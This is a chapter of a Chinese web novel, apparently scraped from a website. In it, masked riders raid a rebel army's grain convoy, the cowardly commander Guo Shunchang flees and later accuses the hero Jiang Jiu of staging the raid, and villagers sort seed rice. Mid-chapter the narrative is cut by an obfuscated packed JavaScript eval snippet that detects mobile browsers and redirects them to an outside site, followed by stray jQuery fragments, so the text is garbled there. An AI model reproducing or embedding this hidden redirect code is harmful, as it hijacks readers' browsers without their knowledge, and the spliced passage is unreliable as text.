34. 突击

作品:《我的夫君是逆贼

    “咚咚咚——”铜锣声震天。


    士兵们从睡梦中惊醒,慌乱地抄起兵器。


    运粮的民夫尖叫着四散奔逃,辕马受惊嘶鸣,拖着燃烧的车架横冲直撞。


    火势借着夜风蔓延,浓烟裹着谷粒焦糊的气味笼罩营地。


    混乱中,一队蒙面骑兵自林间冲出。他们统统身穿黑衣,面覆铁罩,手中长刀寒光凛冽,如鬼魅般切入粮队。


    刀光闪过,护粮的士兵还未举盾,便被劈翻在地。


    “结阵!快结阵!”虢顺昌尖着嗓子大喊,自己却连连后退。


    身躯挤开亲卫,哆嗦着往粮车后躲。


    一名蒙面骑兵突然调转马头,直朝他冲来!


    虢顺昌吓得魂飞魄散,竟一把拽过身旁的副将推向马刀——


    “噗嗤!”


    热血滴溅他满脸。


    副将惨叫倒地的刹那,虢顺昌扭头就往林子里钻。


    玉带钩被树枝刮断,锦袍下摆让荆棘撕成布条,他也顾不得体面,在灌木丛中连滚带爬。


    身后马蹄声越来越近,虢顺昌瘫在一处泥洼里,听着蒙面军屠杀士卒的惨叫。


    虢顺昌哆嗦着连滚带爬缩进树洞。


    “听说这次带领运粮队的黄巾军的高级将领,抓回去讨个赏赐?!”


    远处幸存的士兵在火光中哭喊。


    回答他们的只有蒙面军刀锋砍入骨肉的闷响。


    树洞里的虢顺昌死死捂住嘴,尿水顺着大腿流进鹿皮靴。


    蒙面军一路乱砍厮杀,距离虢顺昌的树洞越来越近。


    从树洞的缝隙看出虢顺昌瞪圆了布满血色的眼球,墨黑的瞳仁里映照出蒙面军举刀,朝他所在的灌木劈去的影响。


    “呲啦”一声,面前蒙面军的身躯被利刃劈开,鲜血溅入瞳孔。


    下一秒,灌木被横刀砍下,虢顺昌那鞋帮子脑袋露在外面。


    “好汉饶命!”虢顺昌声音都是抖的,直接连磕数个响头。


    他的头刚磕到泥地里,冰冷的钢刀贴上他的后颈,浑身一激灵,不敢动弹,身体抖如筛糠。


    “留小的一命,粮草全归你,只求留小的一命。”


    “身为黄巾军的万户侯,就这点尿性?”熟悉的声音窜入耳里。


    虢顺昌猛然抬头,姜九居高临下地睨着他。


    “好你个姜九,敢吓本帅!”虢顺昌作势要起身,却因腿软,又跌跪下来。


    姜九瞥了眼虢顺昌濡湿的裤子和脚旁的泥水。


    虢顺昌似乎意识到自己的失态,不敢起身。


    姜九转身,先行一步,撂下一句,“姜九先行一步,虢帅随我而来。”


    良久,落荒而逃的虢顺昌被黄巾军抬出山林,他那张鞋拔子般的脸上满是痛苦,眉头紧蹙,白唇发颤,显得异常狼狈。


    侍卫朝虢顺昌禀告道,“虢大人,粮草被山贼抢走了五千担。”


    姜九冷冷地转身,走到虢顺昌身前,正色道:“姜九闻讯赶来救粮,这里仅剩一万担粮草。”


    “这姜城附近哪个山头的贼寇敢抢我黄巾军的粮?”虢顺昌的声音愈加尖锐,面容扭曲,“姜九你……”


    “粮草押运的官兵已经跑光了,属下会护送粮队回军营复命。”姜九依旧不为所动,忽视了虢顺昌的怒吼。


    见在场的黄巾军皆对姜九言听计从,虢顺昌愤怒至极,脸色涨得通红,双眼几乎喷火,但却被姜九铁证如山的话语怼得哑口无言,无力反驳。


    愣了半晌,虢顺昌才恼怒地低下了头,怒火似乎更加旺盛,“姜九,你这是贼喊抓贼,我回去让虢大帅惩治你!”


    姜九冷眼扫了他一眼,语气依旧从容,“虢大人,您的意思是,粮队遭遇偷袭,你弃军逃跑。而我姜九带兵救下粮队,保住粮草,虢大帅反而要惩治我?”


    姜九的声音带着一丝挑衅,话语间虽充满质疑,却丝毫不急不躁,神色冷静且玩味。


    虢顺昌闻言气得满脸涨红,却找不到合适的反驳之词,愣住了。


    姜九冷笑一声,转身调转马头,淡淡命令道:“粮队整装出发。”


    他的声音坚定,不容置疑。


    姜九稳稳地驾马在前开路,手中紧握缰绳,身姿笔挺如松,眼神冷峻,步伐从容,隐隐透露着一种令人敬畏的气度。


    虢顺昌被架在旁边的马车上,目光充满了不屑,看姜九的眼神中仅限傲慢与厌恶。


    尽管他看不惯姜九,内心却清楚,姜九如今在黄巾军中有着难以撼动的地位。


    虽然心底翻涌着不满,虢顺昌却又无可奈何,只有在一旁冷眼旁观,勉强压下心中的怒火。


    四周的风吹拂而过,斑驳的树影投射在如蛟龙般的运粮车队。


    粮队顺利返回军营的消息传来后,士兵们的神情明显松了一口气,大家纷纷聚集在一起,讨论着这次粮草的经过。


    姜九指挥得井井有条,卸下每一担粮草。


    所有一万担粮草安全搬进仓库,姜九才轻舒一口气,心中仍有疑虑。


    然而,军营内的气氛并不如表面那般轻松。


    伤重的虢顺昌被几名士兵小心翼翼地抬进了房间,脸色苍白,表情痛苦。


    他坐在床上,眉头紧锁,神情凝重。


    没过多久,虢大帅走进房间,眼神锐利如刀,扫过帐内的一切,视线停留在床上痛苦不堪的虢顺昌身上。


    虢兴目光深邃,走近床前时,眼中既有一丝不易察觉的怜惜,又夹杂着一股恨铁不成钢的神色,“你怎么回事儿?运个粮,搞成这副德行。”


    “叔……”虢顺昌见到虢大帅,立刻坐直了身体,眼中闪烁着急切的神情。


    “姜九可留不得呀!姜九派人假扮山贼,在山道伏击我的运粮队,最后他还假装带兵来救粮队,一副‘大功臣’的模样。”虢顺昌句句都像是一把锋利的刀刃,毫不留情地刺向姜九。


    “可有证据?”虢大帅厉声质问道。


    “这……”虢顺昌吞吞吐吐,显得有些不安,“侄儿要是有确凿证据,那姜九早就军法处置了。”


    虢兴的脸上浮现出复杂的神情,眉头微微蹙起,眼神中闪过一丝冷冽的光芒,仿佛有一股隐隐的杀气在空气中弥漫。


    虢顺昌细心地观察着虢兴的变化,心中暗自一凛,继续小心翼翼地说道:“姜九根本不把黄巾军放在眼里,他仗着自己在军中的威望,已经目中无人!若不早作防范,恐怕会有大祸。”


    虢兴冷笑一声,嗤之以鼻:“哼,姜九那小子本就是我捡回来的小乞丐,给他口饭吃。他一直感恩戴德,怎敢有别的心思?”


    虢顺昌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191147|179458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心中有些急切,继续说道,“叔,俗话说‘打狗也要看主人’,姜九现在已经不把我放在眼里,就是不把黄巾军、也不把您放在眼里。您若再纵容他,这种蔓延的傲气终有一天会威胁到整个军中的秩序。”


    虢兴的眉头一挑,目光如刀锋般冷锐,眼中隐约闪过一丝不易察觉的寒光,仿佛有一种无声的威慑力在悄然传递。


    虢顺昌紧张地观察着虢兴的神色,心里有些忐忑,但也看准了时机,继续挑唆道:“姜九恃着自己屡立军功,恐怕早就不把您放眼里了。现在敢抢粮,怕是要翻了天,整个黄巾军都得听他的……”


    虢兴一拍桌子,虢顺昌吓得哆嗦着往后挪了挪。


    看着虢兴的脸色愈发凝重,眼中闪过一丝冷意,终于开口,“传令下去,让姜九速来见我。”


    他的话语犹如铁锤砸下,带着无法忽视的威严。


    话音落下,气氛骤然紧张,仿佛已埋下了无形的雷霆,随时准备爆发。


    --


    一辆接一辆的粮车驶入姜城,车轮碾过石板路发出沉稳的轰鸣声。


    车上装载的稻种散发出一股新鲜的谷香,引得城中百姓纷纷围拢过来,满脸欣喜地议论着。


    “这批稻种该赶紧育苗,否则就赶不上春耕了。”姚木兰挽起袖子,爬上马车,亲自检查稻种的质量。


    她将一把饱满的稻谷轻轻握在手中,细细观察每一粒种子的色泽和质地,确保挑选的稻种无病虫害且颗粒饱满。


    农户们纷纷随着姚木兰,坐在田头,自发参与到稻种的分拣工作中。


    大家一边忙碌,一边讨论着今年的种植计划,欢声笑语间,期待着丰收的季节。


    远处的山峦在夕阳的映照下显得轮廓分明,山顶被染成了深红,山脚则笼罩在柔和的紫色阴影中。


    姚木兰在河边洗了下手脚的泥巴,收拾工具,随姚博延一同走在黄昏的乡道。


    运粮的将士从远处驾马而来,与姐弟俩迎面相遇。


    姚博延兴奋地问道,“姜大哥回来了吗?”


    将士摇了摇头,“他护送粮草回军营,本该早就可以回来。可虢大帅召他问话……”他的话语间,不经意地流露出忧虑的情绪。


    “虢大帅在查那五千担粮食的去处吗?”姚木兰赶紧问道。


    “查是没法查的,毕竟粮草是被山贼抢走的。姜将军本该不受牵连,还立了救粮之劳。可是……”杨平话里话外总能流露出不安。


    “这五千担粮食就在虢顺昌眼皮子底下没了,他肯定要跟虢大帅告状!”姚木兰接着说道。


    “哎……其实这几年,虢大帅愈发忌惮姜九,他屡立战功,本该晋升为千夫长,甚至万夫长,可他就一直屈居百夫长。要是大帅诚心拿这事来为难姜九,那就麻烦了。”将士轻叹一声。


    “虢大帅那么小心眼,姜大哥跟着他哪有出路,还不如单干。”姚博延气愤地说道。


    “姜将军重情义,常说当年虢大帅给了他口饭吃,是他的大恩人。他从未想要过背叛虢大帅。”


    红颜自古如名将,不许人间见白头。


    历朝历代中的武将下场多半不会太好,尤其是那些战功赫赫的名将,多半被帝王忌惮,要么晚景凄凉、不得善终,要么自立门户……


    终究都是九死一生。